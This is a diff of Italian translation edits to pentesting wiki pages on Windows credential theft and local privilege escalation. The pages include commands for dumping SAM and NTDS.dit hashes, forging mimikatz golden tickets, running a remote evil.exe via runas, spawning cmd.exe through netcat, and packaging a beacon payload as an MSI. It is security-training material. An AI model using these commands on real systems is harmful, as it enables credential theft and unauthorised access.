per il pentesting. ## Riferimenti diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index 8deb83ec7..47c5adeba 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -118,7 +118,7 @@ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam ``` cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa ``` -### Dump il NTDS.dit dal DC di destinazione +### Dumpare il NTDS.dit dal DC di destinazione ``` cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss @@ -133,7 +133,7 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds ``` ## Furto di SAM e SYSTEM -Questi file dovrebbero essere **posizionati** in _C:\windows\system32\config\SAM_ e _C:\windows\system32\config\SYSTEM._ Ma **non puoi semplicemente copiarli in un modo normale** perché sono protetti. +Questi file dovrebbero essere **posizionati** in _C:\windows\system32\config\SAM_ e _C:\windows\system32\config\SYSTEM._ Ma **non puoi semplicemente copiarli in modo regolare** perché sono protetti. ### Dal Registro @@ -150,7 +150,7 @@ impacket-secretsdump -sam sam -security security -system system LOCAL ``` ### Volume Shadow Copy -Puoi eseguire copie di file protetti utilizzando questo servizio. Devi essere un Amministratore. +Puoi eseguire copie di file protetti utilizzando questo servizio. Devi essere Amministratore. #### Using vssadmin @@ -194,7 +194,7 @@ All'interno di questo database, vengono mantenute tre tabelle principali: Ulteriori informazioni su questo: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) -Windows utilizza _Ntdsa.dll_ per interagire con quel file ed è utilizzato da _lsass.exe_. Quindi, **parte** del file **NTDS.dit** potrebbe trovarsi **all'interno della memoria di `lsass`** (puoi trovare i dati più recentemente accessibili probabilmente a causa del miglioramento delle prestazioni utilizzando una **cache**). +Windows utilizza _Ntdsa.dll_ per interagire con quel file ed è utilizzato da _lsass.exe_. Quindi, **parte** del file **NTDS.dit** potrebbe trovarsi **all'interno della memoria di `lsass`** (puoi trovare i dati più recentemente accessi probabilmente a causa del miglioramento delle prestazioni utilizzando una **cache**). #### Decrittazione degli hash all'interno di NTDS.dit @@ -212,7 +212,7 @@ Disponibile da Windows Server 2008. ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` -Puoi anche utilizzare il trucco della [**volume shadow copy**](./#stealing-sam-and-system) per copiare il file **ntds.dit**. Ricorda che avrai anche bisogno di una copia del file **SYSTEM** (ancora, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) trick). +Puoi anche utilizzare il trucco della [**volume shadow copy**](./#stealing-sam-and-system) per copiare il file **ntds.dit**. Ricorda che avrai anche bisogno di una copia del file **SYSTEM** (ancora, [**dumpalo dal registro o usa il trucco della volume shadow copy**](./#stealing-sam-and-system)). ### **Estrazione degli hash da NTDS.dit** @@ -224,7 +224,7 @@ Puoi anche **estrarli automaticamente** utilizzando un utente admin di dominio v ``` secretsdump.py -just-dc-ntlm /@ ``` -Per **grandi file NTDS.dit** si consiglia di estrarlo utilizzando [gosecretsdump](https://github.com/c-sto/gosecretsdump). +Per **grandi file NTDS.dit** si consiglia di estrarli utilizzando [gosecretsdump](https://github.com/c-sto/gosecretsdump). Infine, puoi anche utilizzare il **modulo metasploit**: _post/windows/gather/credentials/domain_hashdump_ o **mimikatz** `lsadump::lsa /inject` @@ -234,7 +234,7 @@ Gli oggetti NTDS possono essere estratti in un database SQLite con [ntdsdotsqlit ``` ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive ``` -Il `SYSTEM` hive è facoltativo ma consente la decrittazione dei segreti (hash NT e LM, credenziali supplementari come password in chiaro, chiavi kerberos o di fiducia, storie delle password NT e LM). Insieme ad altre informazioni, vengono estratti i seguenti dati: account utente e macchina con i loro hash, flag UAC, timestamp per l'ultimo accesso e cambio password, descrizione degli account, nomi, UPN, SPN, gruppi e appartenenze ricorsive, albero delle unità organizzative e appartenenza, domini fidati con tipo di fiducia, direzione e attributi... +Il hive `SYSTEM` è facoltativo ma consente la decrittazione dei segreti (hash NT e LM, credenziali supplementari come password in chiaro, chiavi kerberos o di fiducia, storie delle password NT e LM). Insieme ad altre informazioni, vengono estratti i seguenti dati: account utente e macchina con i loro hash, flag UAC, timestamp per l'ultimo accesso e cambio password, descrizione degli account, nomi, UPN, SPN, gruppi e appartenenze ricorsive, albero delle unità organizzative e appartenenza, domini fidati con tipo di fiducia, direzione e attributi... ## Lazagne diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md index 109f7fa1f..87c8329f4 100644 --- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md +++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md @@ -8,7 +8,7 @@ A partire da Windows 8.1 e Windows Server 2012 R2, sono state implementate misure significative per proteggere contro il furto di credenziali: -- **LM hashes e password in chiaro** non sono più memorizzati in memoria per migliorare la sicurezza. Un'impostazione specifica del registro, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, deve essere configurata con un valore DWORD di `0` per disabilitare l'autenticazione Digest, assicurando che le password "in chiaro" non siano memorizzate nella cache di LSASS. +- **LM hashes e password in chiaro** non sono più memorizzati in memoria per migliorare la sicurezza. Una specifica impostazione del registro, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, deve essere configurata con un valore DWORD di `0` per disabilitare l'autenticazione Digest, assicurando che le password "in chiaro" non siano memorizzate nella cache in LSASS. - **LSA Protection** è stata introdotta per proteggere il processo dell'Autorità di Sicurezza Locale (LSA) dalla lettura non autorizzata della memoria e dall'iniezione di codice. Questo viene realizzato contrassegnando LSASS come processo protetto. L'attivazione della protezione LSA comporta: 1. Modificare il registro in _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ impostando `RunAsPPL` su `dword:00000001`. @@ -66,7 +66,7 @@ Esempio: ```bash mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit ``` -### Creazione del Silver Ticket +### Creazione di Silver Ticket I Silver Ticket concedono accesso a servizi specifici. Comando chiave e parametri: diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index b0d5efbdf..1b736ce48 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -6,7 +6,7 @@ ## WDigest -Il protocollo [WDigest](), introdotto con Windows XP, è progettato per l'autenticazione tramite il Protocollo HTTP ed è **abilitato per impostazione predefinita su Windows XP fino a Windows 8.0 e Windows Server 2003 fino a Windows Server 2012**. Questa impostazione predefinita comporta **l'archiviazione delle password in chiaro in LSASS** (Local Security Authority Subsystem Service). Un attaccante può utilizzare Mimikatz per **estrarre queste credenziali** eseguendo: +Il protocollo [WDigest](), introdotto con Windows XP, è progettato per l'autenticazione tramite il protocollo HTTP ed è **abilitato per impostazione predefinita su Windows XP fino a Windows 8.0 e Windows Server 2003 fino a Windows Server 2012**. Questa impostazione predefinita comporta **l'archiviazione delle password in chiaro in LSASS** (Local Security Authority Subsystem Service). Un attaccante può utilizzare Mimikatz per **estrarre queste credenziali** eseguendo: ```bash sekurlsa::wdigest ``` @@ -16,7 +16,7 @@ reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v Use ``` ## Protezione LSA -A partire da **Windows 8.1**, Microsoft ha migliorato la sicurezza di LSA per **bloccare le letture di memoria non autorizzate o le iniezioni di codice da parte di processi non attendibili**. Questo miglioramento ostacola il funzionamento tipico di comandi come `mimikatz.exe sekurlsa:logonpasswords`. Per **abilitare questa protezione avanzata**, il valore _**RunAsPPL**_ in _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ dovrebbe essere impostato su 1: +A partire da **Windows 8.1**, Microsoft ha migliorato la sicurezza di LSA per **bloccare letture di memoria non autorizzate o iniezioni di codice da parte di processi non attendibili**. Questo miglioramento ostacola il funzionamento tipico di comandi come `mimikatz.exe sekurlsa:logonpasswords`. Per **abilitare questa protezione avanzata**, il valore _**RunAsPPL**_ in _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ dovrebbe essere impostato su 1: ``` reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` @@ -28,11 +28,11 @@ reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ## Credential Guard -**Credential Guard**, una funzionalità esclusiva per **Windows 10 (edizioni Enterprise ed Education)**, migliora la sicurezza delle credenziali della macchina utilizzando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Sfrutta le estensioni di virtualizzazione della CPU per isolare i processi chiave all'interno di uno spazio di memoria protetto, lontano dalla portata del sistema operativo principale. Questa isolamento garantisce che anche il kernel non possa accedere alla memoria in VSM, proteggendo efficacemente le credenziali da attacchi come **pass-the-hash**. L'**Autorità di Sicurezza Locale (LSA)** opera all'interno di questo ambiente sicuro come un trustlet, mentre il processo **LSASS** nel sistema operativo principale funge semplicemente da comunicatore con l'LSA di VSM. +**Credential Guard**, una funzionalità esclusiva di **Windows 10 (edizioni Enterprise ed Education)**, migliora la sicurezza delle credenziali della macchina utilizzando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Sfrutta le estensioni di virtualizzazione della CPU per isolare i processi chiave all'interno di uno spazio di memoria protetto, lontano dalla portata del sistema operativo principale. Questa isolamento garantisce che anche il kernel non possa accedere alla memoria in VSM, proteggendo efficacemente le credenziali da attacchi come **pass-the-hash**. L'**Autorità di Sicurezza Locale (LSA)** opera all'interno di questo ambiente sicuro come un trustlet, mentre il processo **LSASS** nel sistema operativo principale funge semplicemente da comunicatore con l'LSA di VSM. Per impostazione predefinita, **Credential Guard** non è attivo e richiede attivazione manuale all'interno di un'organizzazione. È fondamentale per migliorare la sicurezza contro strumenti come **Mimikatz**, che sono ostacolati nella loro capacità di estrarre credenziali. Tuttavia, le vulnerabilità possono ancora essere sfruttate attraverso l'aggiunta di **Security Support Providers (SSP)** personalizzati per catturare le credenziali in chiaro durante i tentativi di accesso. -Per verificare lo stato di attivazione di **Credential Guard**, è possibile ispezionare la chiave di registro _**LsaCfgFlags**_ sotto _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valore di "**1**" indica attivazione con **UEFI lock**, "**2**" senza lock, e "**0**" denota che non è abilitato. Questo controllo del registro, sebbene sia un forte indicatore, non è l'unico passo per abilitare Credential Guard. Sono disponibili online indicazioni dettagliate e uno script PowerShell per abilitare questa funzionalità. +Per verificare lo stato di attivazione di **Credential Guard**, è possibile controllare la chiave di registro _**LsaCfgFlags**_ sotto _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valore di "**1**" indica attivazione con **UEFI lock**, "**2**" senza blocco, e "**0**" denota che non è abilitato. Questo controllo del registro, sebbene sia un forte indicatore, non è l'unico passo per abilitare Credential Guard. Sono disponibili online indicazioni dettagliate e uno script PowerShell per abilitare questa funzionalità. ```powershell reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` @@ -46,7 +46,7 @@ Ulteriori dettagli sull'implementazione di SSP personalizzati per la cattura del Tradizionalmente, quando ci si connette a un computer remoto tramite RDP, le proprie credenziali vengono memorizzate sulla macchina di destinazione. Questo rappresenta un rischio significativo per la sicurezza, specialmente quando si utilizzano account con privilegi elevati. Tuttavia, con l'introduzione della _**modalità Restricted Admin**_, questo rischio è sostanzialmente ridotto. -Quando si avvia una connessione RDP utilizzando il comando **mstsc.exe /RestrictedAdmin**, l'autenticazione al computer remoto viene eseguita senza memorizzare le proprie credenziali su di esso. Questo approccio garantisce che, in caso di infezione da malware o se un utente malintenzionato ottiene accesso al server remoto, le proprie credenziali non siano compromesse, poiché non sono memorizzate sul server. +Quando si avvia una connessione RDP utilizzando il comando **mstsc.exe /RestrictedAdmin**, l'autenticazione al computer remoto viene eseguita senza memorizzare le proprie credenziali su di esso. Questo approccio garantisce che, in caso di infezione da malware o se un utente malintenzionato ottiene accesso al server remoto, le proprie credenziali non vengano compromesse, poiché non sono memorizzate sul server. È importante notare che in **modalità Restricted Admin**, i tentativi di accesso alle risorse di rete dalla sessione RDP non utilizzeranno le proprie credenziali personali; invece, verrà utilizzata l'**identità della macchina**. @@ -58,7 +58,7 @@ Per ulteriori informazioni dettagliate visita [questa risorsa](https://blog.ahas ## Credenziali memorizzate -Windows protegge le **credenziali di dominio** attraverso la **Local Security Authority (LSA)**, supportando i processi di accesso con protocolli di sicurezza come **Kerberos** e **NTLM**. Una caratteristica chiave di Windows è la sua capacità di memorizzare nella cache i **ultimi dieci accessi al dominio** per garantire che gli utenti possano ancora accedere ai propri computer anche se il **controller di dominio è offline**—un vantaggio per gli utenti di laptop spesso lontani dalla rete della propria azienda. +Windows protegge le **credenziali di dominio** attraverso la **Local Security Authority (LSA)**, supportando i processi di accesso con protocolli di sicurezza come **Kerberos** e **NTLM**. Una caratteristica chiave di Windows è la sua capacità di memorizzare nella cache i **ultimi dieci accessi al dominio** per garantire che gli utenti possano comunque accedere ai propri computer anche se il **controller di dominio è offline**—un vantaggio per gli utenti di laptop spesso lontani dalla rete della propria azienda. Il numero di accessi memorizzati nella cache è regolabile tramite una specifica **chiave di registro o policy di gruppo**. Per visualizzare o modificare questa impostazione, viene utilizzato il seguente comando: ```bash diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 01f446f69..91ee3d3d5 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -167,7 +167,7 @@ E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` Allora, **è sfruttabile.** Se l'ultimo registro è uguale a 0, l'entry WSUS sarà ignorata. -Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Questi sono script di exploit armati MiTM per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL. +Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Questi sono script di exploit MiTM armati per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL. Leggi la ricerca qui: @@ -182,7 +182,7 @@ Fondamentalmente, questo è il difetto che questo bug sfrutta: > > Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo archivio certificati. Se generiamo un certificato autofirmato per il nome host WSUS e aggiungiamo questo certificato nell'archivio certificati dell'utente corrente, saremo in grado di intercettare sia il traffico WSUS HTTP che HTTPS. WSUS non utilizza meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è fidato dall'utente e ha il nome host corretto, sarà accettato dal servizio. -Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che è stato liberato). +Puoi sfruttare questa vulnerabilità utilizzando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che sarà liberato). ## KrbRelayUp @@ -216,7 +216,7 @@ Esegui semplicemente il file binario creato per elevare i privilegi. ### MSI Wrapper -Leggi questo tutorial per imparare a creare un wrapper MSI utilizzando questi strumenti. Nota che puoi avvolgere un "**.bat**" file se vuoi **solo** **eseguire** **comandi** +Leggi questo tutorial per imparare a creare un wrapper MSI utilizzando questi strumenti. Nota che puoi avvolgere un "**.bat**" se vuoi **solo** **eseguire** **comandi** {{#ref}} msi-wrapper.md @@ -232,7 +232,7 @@ create-msi-with-wix.md - **Genera** con Cobalt Strike o Metasploit un **nuovo payload TCP EXE Windows** in `C:\privesc\beacon.exe` - Apri **Visual Studio**, seleziona **Crea un nuovo progetto** e digita "installer" nella casella di ricerca. Seleziona il progetto **Setup Wizard** e clicca su **Avanti**. -- Dai un nome al progetto, come **AlwaysPrivesc**, usa **`C:\privesc`** per la posizione, seleziona **posiziona soluzione e progetto nella stessa directory**, e clicca su **Crea**. +- Dai un nome al progetto, come **AlwaysPrivesc**, usa **`C:\privesc`** per la posizione, seleziona **metti soluzione e progetto nella stessa directory**, e clicca su **Crea**. - Continua a cliccare su **Avanti** fino a raggiungere il passo 3 di 4 (scegli i file da includere). Clicca su **Aggiungi** e seleziona il payload Beacon che hai appena generato. Poi clicca su **Fine**. - Evidenzia il progetto **AlwaysPrivesc** nell'**Esplora Soluzioni** e nelle **Proprietà**, cambia **TargetPlatform** da **x86** a **x64**. - Ci sono altre proprietà che puoi cambiare, come **Autore** e **Produttore** che possono far sembrare l'app installata più legittima. @@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** è progettato per la **gestione delle password degli amministratori locali**, garantendo che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer collegati a un dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse autorizzazioni sufficienti tramite ACL, consentendo loro di visualizzare le password degli amministratori locali se autorizzati. +**LAPS** è progettato per la **gestione delle password degli amministratori locali**, garantendo che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer collegati a un dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono stati concessi permessi sufficienti tramite ACL, consentendo loro di visualizzare le password degli amministratori locali se autorizzati. {{#ref}} ../active-directory-methodology/laps.md @@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumerare Utenti e Gruppi -Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti +Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti. ```bash # CMD net users %username% #Me @@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Controlla sempre la presenza di [**debugger electron/cef/chromium** in esecuzione, potresti abusarne per elevare i privilegi](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Controlla sempre la presenza di possibili [**debugger electron/cef/chromium** in esecuzione, potresti abusarne per elevare i privilegi](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Controllo dei permessi dei binari dei processi** ```bash @@ -420,7 +420,7 @@ Si consiglia di avere il binario **accesschk** di _Sysinternals_ per controllare ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Si consiglia di verificare se "Authenticated Users" può modificare qualche servizio: +Si consiglia di verificare se "Utenti autenticati" possono modificare qualche servizio: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md ### Driver -Cerca possibili driver **di terze parti strani/vulnerabili** +Cerca possibili driver **di terze parti strani/vulnerabili**. ```bash driverquery driverquery.exe /fo table @@ -610,7 +610,7 @@ driverquery /SI ``` ## PATH DLL Hijacking -Se hai **permessi di scrittura all'interno di una cartella presente nel PATH** potresti essere in grado di dirottare una DLL caricata da un processo e **escalare i privilegi**. +Se hai **permessi di scrittura all'interno di una cartella presente nel PATH** potresti essere in grado di dirottare un DLL caricata da un processo e **escalare i privilegi**. Controlla i permessi di tutte le cartelle all'interno del PATH: ```bash @@ -719,7 +719,7 @@ Puoi quindi utilizzare `runas` con l'opzione `/savecred` per utilizzare le crede ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Utilizzando `runas` con un insieme di credenziali fornito. +Utilizzando `runas` con un set di credenziali fornito. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` @@ -727,18 +727,18 @@ Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/c ### DPAPI -L'**API di Protezione Dati (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzato prevalentemente all'interno del sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto utente o di sistema per contribuire significativamente all'entropia. +L'**API di Protezione Dati (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzato prevalentemente all'interno del sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto dell'utente o del sistema per contribuire significativamente all'entropia. -**DPAPI consente la crittografia delle chiavi attraverso una chiave simmetrica derivata dai segreti di accesso dell'utente**. In scenari che coinvolgono la crittografia di sistema, utilizza i segreti di autenticazione del dominio del sistema. +**DPAPI consente la crittografia delle chiavi attraverso una chiave simmetrica derivata dai segreti di accesso dell'utente**. In scenari che coinvolgono la crittografia del sistema, utilizza i segreti di autenticazione del dominio del sistema. -Le chiavi RSA utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell). +Le chiavi RSA dell'utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell). ```powershell Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Puoi usare il **modulo mimikatz** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo. -I **file delle credenziali protetti dalla password principale** si trovano solitamente in: +I **file di credenziali protetti dalla password principale** si trovano solitamente in: ```powershell dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ @@ -791,7 +791,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Usa il modulo **Mimikatz** `dpapi::rdg` con il corretto `/masterkey` per **decriptare qualsiasi file .rdg**\ -Puoi **estrarre molti masterkey DPAPI** dalla memoria con il modulo Mimikatz `sekurlsa::dpapi` +Puoi **estrarre molti masterkey DPAPI** dalla memoria con il modulo `sekurlsa::dpapi` di Mimikatz ### Sticky Notes @@ -799,7 +799,7 @@ Le persone spesso usano l'app StickyNotes sui workstation Windows per **salvare ### AppCmd.exe -**Nota che per recuperare password da AppCmd.exe devi essere Amministratore e eseguire con un livello di alta integrità.**\ +**Nota che per recuperare le password da AppCmd.exe devi essere Amministratore e eseguire con un livello di alta integrità.**\ **AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\` .\ Se questo file esiste, allora è possibile che alcune **credenziali** siano state configurate e possano essere **recuperate**. @@ -998,7 +998,7 @@ Utilizzando crackmapexec per ottenere le password: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### Configurazione Web IIS +### Configurazione Web di IIS ```powershell Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1190,13 +1190,13 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Cerca un file con un certo nome** +**Cerca un file con un certo nome di file** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Cerca nel registro i nomi delle chiavi e le password** +**Cerca nel registro chiavi e password** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1229,7 +1229,7 @@ I segmenti di memoria condivisa, noti come **pipe**, consentono la comunicazione Windows fornisce una funzionalità chiamata **Named Pipes**, che consente a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un'architettura client/server, con ruoli definiti come **named pipe server** e **named pipe client**. -Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha impostato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che abbia i necessari diritti **SeImpersonate**. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo una volta che interagisce con la pipe che hai stabilito. Per istruzioni su come eseguire un attacco del genere, puoi trovare guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](./#from-high-integrity-to-system). +Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha impostato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che abbia i diritti necessari **SeImpersonate**. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo una volta che interagisce con la pipe che hai stabilito. Per istruzioni su come eseguire un attacco del genere, puoi trovare guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](./#from-high-integrity-to-system). Inoltre, il seguente strumento consente di **intercettare una comunicazione di named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo strumento consente di elencare e vedere tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) @@ -1367,9 +1367,9 @@ Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in es **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla configurazioni errate e file sensibili (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla alcune possibili configurazioni errate e raccoglie informazioni (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla configurazioni errate**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Controlla per misconfigurazioni e file sensibili (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Rilevato.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Controlla per alcune possibili misconfigurazioni e raccoglie informazioni (**[**controlla qui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Controlla per misconfigurazioni**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usa -Thorough in locale.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spruzza le password raccolte attraverso il dominio**\ @@ -1381,11 +1381,11 @@ Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in es **Exe** [**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca vulnerabilità di privesc note (deve essere compilato utilizzando VisualStudio) ([**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando configurazioni errate (più uno strumento di raccolta informazioni che di privesc) (deve essere compilato) **(**[**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando misconfigurazioni (più uno strumento di raccolta informazioni che di privesc) (deve essere compilato) **(**[**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato in github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porting di PowerUp in C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla configurazioni errate (eseguibile precompilato in github). Non raccomandato. Non funziona bene in Win10.\ 